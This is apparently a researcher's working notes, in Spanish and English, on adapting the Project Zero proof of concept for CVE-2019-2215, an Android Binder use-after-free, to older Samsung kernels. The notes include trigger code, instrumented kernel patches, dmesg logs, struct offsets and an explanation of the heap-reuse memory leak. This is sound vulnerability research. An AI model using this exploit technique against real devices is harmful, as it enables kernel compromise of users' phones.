
PoC y análisis de CVE-2019-2215, un use-after-free en Android Binder, con instrumentación del kernel y ajuste del exploit para dispositivos Samsung afectados.
Fuente:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885
Samsung S7 y S7 Edge con Kernel 3.18.x parecen no ser vulnerables (podrían serlo, sin embargo, con más trabajo y ajustes en el PoC). No se puede ver más, ya que no se dispone de dispositivos rooteados.
Samsung S3Neo+ con LineageOS Kernel 3.4.0 posiblemente vulnerable (aún en progreso)
Kernel 3.4.0
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/
No KASLR
No need to leak Kernel Struct Addresses.
8-byte aligned (because there is one less field in the struct)
binder_thread size:0xfc (252)
wait queue offset:0x2c (44)
Had to add at least 2 entries for it to trigger, with 1, it didn't trigger
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533
PoC:
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul
int main()
{
int fd,fd1,fd2, epfd,epfd1;
struct epoll_event event = { .events = EPOLLOUT };
fd = open("/dev/binder", O_RDONLY);
fd1 = open("/dev/random", O_RDONLY);
epfd = epoll_create(1000);
epfd1 = epoll_create(1000);
if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");
//ioctl(fd, BINDER_VERSION, NULL);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
printf("Finished here.");
}
Modified binder.c and evenpoll.c in the Kernel to see what is happening
binder.c
static int binder_free_thread(struct binder_proc *proc,
struct binder_thread *thread)
{
struct binder_transaction *t;
struct binder_transaction *send_reply = NULL;
int active_transactions = 0;
static const size_t memberOffset = offsetof(binder_thread, wait);
wait_queue_head_t *wqhptr = &thread->wait;
wait_queue_head_t *pwqhptr = &proc->wait;
struct list_head *n1,*p1;
wait_queue_t *my2;
printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
list_for_each_safe(p1,n1, &pwqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
list_for_each_safe(p1,n1, &wqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
eventpoll.c
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
wait_queue_head_t *whead;
wait_queue_t *strptr;
struct list_head *n1,*p1;
wait_queue_t *my2;
rcu_read_lock();
/* If it is cleared by POLLFREE, it should be rcu-safe */
whead = rcu_dereference(pwq->whead);
printk(KERN_INFO "whead before");
if (whead)
{
strptr=&pwq->wait;
list_for_each_safe(p1,n1, &pwq->whead->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
remove_wait_queue(whead, &pwq->wait);
printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);
I see the list is printed.....but during Android Bootup not my PoC:
During Android start
[ 84.747753] binder_ioctl: 1878:2371 40046208 0
[ 84.747765] iovec str size:8
[ 84.747771] thread->task_list:e4fb2e30
[ 84.747777] proc->task_list:e57d866c
[ 84.747784] p list= e57d866c e7fffe7c
[ 84.747790] p list= e656de7c e57d866c
[ 84.747797] binder_free_thread size:252 worker_off:44
[ 84.747804] freed thread:e4fb2e00
I see proc->task_list ...
PoC:
[ 642.254192] wq queue:e7ce8798
[ 642.254201] epoll struct:e7ce8780
[ 642.254214] wq queue:e7ce8f98
[ 642.254220] epoll struct:e7ce8f80
[ 642.254230] wq queue:e7ce8718
[ 642.254236] epoll struct:e7ce8700
[ 642.254266] binder_ioctl: 7392:7392 40046208 0
[ 642.254274] iovec str size:8
[ 642.254280] thread->task_list:e5389b30
[ 642.254286] proc->task_list:c309d86c
[ 642.254292] binder_free_thread size:252 worker_off:44
[ 642.254299] freed thread:e5389b00
[ 642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[ 642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[ 642.254799] ep_unregister_pollwait list not empty
[ 642.254805] whead before
[ 642.254811] my2= c0f50cc4 c0f50cc4
[ 642.254817] remove wait queue:e734b994
[ 642.254823] remove wait queue task list:e734b9a0
[ 642.254830] ep_unregister_pollwait list not empty
[ 642.254835] whead before
[ 642.254841] my2= c0f50cd0 c0f50cd0
[ 642.254847] remove wait queue:e734bb24
[ 642.254852] remove wait queue task list:e734bb30
[ 642.254863] ep_free
[ 642.254873] ep_free
[ 642.254881] ep_free
However bug is not triggered in my PoC. I cannot see doubly list entiries under thread and proc :/
Aquí es donde debería aparecer el error de use after free.
Código:
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
Cuando se llama a esto, la estructura binder_thread se libera en el kernel.
Inmediatamente después, el proceso padre llama:
Código:
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
En el kernel, se asigna memoria para copiar iovec_array desde el espacio de usuario. Este PoC depende de que el puntero de esta asignación sea el mismo que el de la memoria binder_thread recién liberada.
Luego, cuando el proceso hijo termina, la limpieza de EPOLL usará la waitqueue en la estructura binder_thread, que ha sido sobrescrita con los valores en iovec_array. Cuando la limpieza de EPOLL desvincula la waitqueue, 0xDEADBEEF será sobrescrito por un puntero en el espacio del kernel. Esto debe ocurrir justo antes de que la llamada writev en el proceso padre comience a copiar el segundo búfer, lo que nos permite obtener una fuga de memoria del espacio del kernel.
Si writev devuelve 0x1000, significa que la sincronización no es correcta, el offset de la wait queue es incorrecto, la asignación kmalloc en la función writev no es la misma que la del binder_thread liberado, o tu kernel no es vulnerable.